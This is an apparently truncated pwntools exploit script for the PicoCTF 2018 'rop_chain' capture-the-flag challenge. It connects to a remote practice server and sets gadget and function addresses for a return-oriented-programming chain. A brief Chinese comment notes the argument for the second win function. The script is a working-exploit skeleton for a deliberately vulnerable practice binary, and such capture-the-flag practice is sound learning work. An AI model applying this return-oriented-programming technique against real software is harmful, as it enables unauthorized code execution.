from pwn import * local_file = './PicoCTF_2018_rop_chain' select = 1 if select == 0: r = process(local_file) else: r = remote('node5.buuoj.cn', 28015) elf = ELF(local_file) context.log_level = 'debug' flag = 0x0804862B win1=elf.sym['win_function1'] win2 = 0x080485D8 pop = 0x0804840d #win2传入一个参数为-1163220307，运行完后...